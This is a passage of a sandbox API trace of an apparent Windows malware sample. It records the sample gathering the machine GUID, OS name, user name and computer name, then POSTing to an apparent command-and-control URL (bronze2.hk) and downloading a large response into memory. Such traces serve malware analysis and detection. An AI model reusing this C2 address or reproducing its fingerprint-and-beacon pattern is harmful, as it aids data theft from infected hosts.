lpProcName="EnumDisplayDevicesW") returned 0x74f7e567 [0053.537] GetProcAddress (hModule=0x74f40000, lpProcName="wvsprintfA") returned 0x74f6aad3 [0053.537] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0053.537] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0053.547] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0053.547] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0053.547] GetProcAddress (hModule=0x77130000, lpProcName="RtlComputeCrc32") returned 0x771effc1 [0053.547] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x675e20 [0053.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x520000 [0053.548] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x676e20 [0053.548] VirtualAlloc (lpAddress=0x520000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x520000 [0053.548] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.548] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0053.548] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.548] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0053.549] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.549] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x674300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0053.549] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e682, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e674 | out: pSid=0x18e674*=0x674300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0053.591] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x674300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670 | out: Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670) returned 0 [0053.601] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x674300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x18e66c | out: IsMember=0x18e66c) returned 1 [0053.601] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e604 | out: phkResult=0x18e604*=0xe0) returned 0x0 [0053.602] RegQueryValueExW (in: hKey=0xe0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e60c, lpData=0x18e404, lpcbData=0x18e608*=0xfe | out: lpType=0x18e60c*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e608*=0x4a) returned 0x0 [0053.602] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x18>g", lpUsedDefaultChar=0x0) returned 36 [0053.602] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e618 | out: phkResult=0x18e618*=0xdc) returned 0x0 [0053.602] RegQueryValueExW (in: hKey=0xdc, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e620, lpData=0x18e418, lpcbData=0x18e61c*=0xfe | out: lpType=0x18e620*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e61c*=0x2e) returned 0x0 [0053.602] RegCloseKey (hKey=0x80000002) returned 0x0 [0053.602] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x18>g", lpUsedDefaultChar=0x0) returned 22 [0053.602] GetUserNameW (in: lpBuffer=0x18e43c, pcbBuffer=0x18e438 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e438) returned 1 [0053.603] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x18>g", lpUsedDefaultChar=0x0) returned 20 [0053.603] GetComputerNameW (in: lpBuffer=0x18e43c, nSize=0x18e438 | out: lpBuffer="XDUWTFONO", nSize=0x18e438) returned 1 [0053.604] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x18>g", lpUsedDefaultChar=0x0) returned 9 [0053.604] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69") returned 0xe4 [0053.604] GetLastError () returned 0x0 [0053.604] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e608 | out: phkResult=0x18e608*=0xec) returned 0x0 [0053.604] RegQueryValueExW (in: hKey=0xec, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e610, lpData=0x18e408, lpcbData=0x18e60c*=0xfe | out: lpType=0x18e610*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e60c*=0x4a) returned 0x0 [0053.604] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 36 [0053.604] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e61c | out: phkResult=0x18e61c*=0xf0) returned 0x0 [0053.605] RegQueryValueExW (in: hKey=0xf0, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e624, lpData=0x18e41c, lpcbData=0x18e620*=0xfe | out: lpType=0x18e624*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e620*=0x2e) returned 0x0 [0053.605] RegCloseKey (hKey=0x80000002) returned 0x0 [0053.605] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 22 [0053.605] GetUserNameW (in: lpBuffer=0x18e440, pcbBuffer=0x18e43c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e43c) returned 1 [0053.605] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 20 [0053.605] GetComputerNameW (in: lpBuffer=0x18e440, nSize=0x18e43c | out: lpBuffer="XDUWTFONO", nSize=0x18e43c) returned 1 [0053.605] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d634, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f\x98Ö\x18", lpUsedDefaultChar=0x0) returned 9 [0053.607] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x0 [0053.607] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x753d0000 [0053.613] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="InternetConnectA") returned 0x753f49e9 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="HttpOpenRequestA") returned 0x753f4c7d [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="HttpAddRequestHeadersA") returned 0x753edcd2 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="HttpSendRequestA") returned 0x754618f8 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCrackUrlA") returned 0x753dd075 [0053.614] GetProcAddress (hModule=0x753d0000, lpProcName="InternetSetOptionA") returned 0x753e75e8 [0053.614] InternetCrackUrlA (in: lpszUrl="http://bronze2.hk/1/index.php", dwUrlLength=0x1d, dwFlags=0x90000000, lpUrlComponents=0x18d7d4 | out: lpUrlComponents=0x18d7d4) returned 1 [0053.674] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.674] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x18e640, dwBufferLength=0x4) returned 1 [0053.674] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x18e640, dwBufferLength=0x4) returned 1 [0053.674] InternetConnectA (hInternet=0xcc0004, lpszServerName="bronze2.hk", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0053.675] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0053.676] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x5204c4*, dwOptionalLength=0x67) returned 1 [0054.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x24b1) returned 1 [0054.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfff3) returned 1 [0054.644] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.645] VirtualAlloc (lpAddress=0x538000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x538000 [0054.646] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1701) returned 1 [0054.647] VirtualFree (lpAddress=0x524000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.647] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.649] VirtualFree (lpAddress=0x53c000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x2229) returned 1 [0054.649] VirtualFree (lpAddress=0x548000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.650] VirtualAlloc (lpAddress=0x53c000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x53c000 [0054.650] VirtualFree (lpAddress=0x538000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.651] VirtualFree (lpAddress=0x524000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.652] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd89) returned 1 [0054.684] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.685] VirtualAlloc (lpAddress=0x524000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.688] VirtualFree (lpAddress=0x540000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xcb08) returned 1 [0054.689] VirtualAlloc (lpAddress=0x540000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x540000 [0054.689] VirtualFree (lpAddress=0x538000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0054.690] VirtualAlloc (lpAddress=0x540000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.690] VirtualAlloc (lpAddress=0x540000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.690] VirtualAlloc (lpAddress=0x538000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.690] VirtualAlloc (lpAddress=0x538000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.690] VirtualAlloc (lpAddress=0x554000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x554000 [0054.691] VirtualFree (lpAddress=0x550000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.692] VirtualFree (lpAddress=0x524000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0054.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x2238) returned 1 [0054.694] VirtualFree (lpAddress=0x540000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.694] VirtualAlloc (lpAddress=0x578000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x578000 [0054.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x4fd8) returned 1 [0054.734] VirtualAlloc (lpAddress=0x524000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.735] VirtualAlloc (lpAddress=0x57c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x57c000 [0054.735] VirtualFree (lpAddress=0x528000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x88e0) returned 1 [0054.737] VirtualAlloc (lpAddress=0x528000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x528000 [0054.738] VirtualAlloc (lpAddress=0x580000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x580000 [0054.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x2238) returned 1 [0054.740] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.740] VirtualAlloc (lpAddress=0x588000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x588000 [0054.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd90) returned 1 [0054.787] VirtualFree (lpAddress=0x530000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.788] VirtualAlloc (lpAddress=0x58c000, dwSize=0x38000, flAllocationType=0x1000, flProtect=0x4) returned 0x58c000 [0054.796] VirtualFree (lpAddress=0x554000, dwSize=0x34000, dwFreeType=0x4000) returned 1 [0054.799] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.799] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.800] VirtualAlloc (lpAddress=0x5c4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5c4000 [0054.801] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.802] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.802] VirtualAlloc (lpAddress=0x534000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x534000 [0054.803] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.803] VirtualAlloc (lpAddress=0x5d4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5d4000 [0054.803] VirtualFree (lpAddress=0x544000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.804] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x31ac) returned 1 [0054.805] VirtualFree (lpAddress=0x530000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0054.805] VirtualAlloc (lpAddress=0x524000, dwSize=0x5c000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.810] VirtualFree (lpAddress=0x588000, dwSize=0x58000, dwFreeType=0x4000) returned 1 [0054.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.845] VirtualAlloc (lpAddress=0x580000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x580000 [0054.845] VirtualFree (lpAddress=0x57c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.848] VirtualFree (lpAddress=0x5e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.849] VirtualAlloc (lpAddress=0x580000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.849] VirtualAlloc (lpAddress=0x580000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.849] VirtualAlloc (lpAddress=0x57c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.849] VirtualAlloc (lpAddress=0x57c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.849] VirtualAlloc (lpAddress=0x594000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x594000 [0054.860] VirtualFree (lpAddress=0x524000, dwSize=0x58000, dwFreeType=0x4000) returned 1 [0054.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0054.862] VirtualAlloc (lpAddress=0x524000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.863] VirtualFree (lpAddress=0x5fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.864] VirtualFree (lpAddress=0x580000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.864] VirtualAlloc (lpAddress=0x5fc000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5fc000 [0054.864] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1005b) returned 1 [0054.865] VirtualAlloc (lpAddress=0x534000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x534000 [0054.867] VirtualFree (lpAddress=0x524000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.867] VirtualAlloc (lpAddress=0x60c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x60c000 [0054.867] VirtualFree (lpAddress=0x544000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x72d0) returned 1 [0054.868] VirtualAlloc (lpAddress=0x544000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x544000 [0054.869] VirtualFree (lpAddress=0x530000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0054.869] VirtualAlloc (lpAddress=0x620000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.869] VirtualAlloc (lpAddress=0x620000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.869] VirtualAlloc (lpAddress=0x61c000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.869] VirtualAlloc (lpAddress=0x61c000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0054.869] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x3340000 [0054.870] VirtualAlloc (lpAddress=0x3340000, dwSize=0x94000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0054.871] VirtualFree (lpAddress=0x548000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.876] VirtualFree (lpAddress=0x590000, dwSize=0x8c000, dwFreeType=0x4000) returned 1 [0054.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x7d78) returned 1 [0054.896] VirtualAlloc (lpAddress=0x548000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x548000 [0054.897] VirtualFree (lpAddress=0x540000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.898] VirtualAlloc (lpAddress=0x33d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x33d4000 [0054.899] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xbc34) returned 1 [0054.900] VirtualAlloc (lpAddress=0x524000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.901] VirtualFree (lpAddress=0x544000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0054.902] VirtualAlloc (lpAddress=0x33dc000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x33dc000 [0054.903] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x60f4) returned 1 [0054.903] VirtualAlloc (lpAddress=0x530000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x530000 [0054.904] VirtualFree (lpAddress=0x524000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0054.904] VirtualAlloc (lpAddress=0x33e8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x33e8000 [0054.904] VirtualFree (lpAddress=0x534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0054.905] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd90) returned 1 [0054.918] VirtualFree (lpAddress=0x52c000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0054.918] VirtualAlloc (lpAddress=0x524000, dwSize=0xac000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0054.934] VirtualFree (lpAddress=0x3340000, dwSize=0xa8000, dwFreeType=0x4000) returned 1 [0054.937] InternetReadFile (in: hFile=0xcc000c, 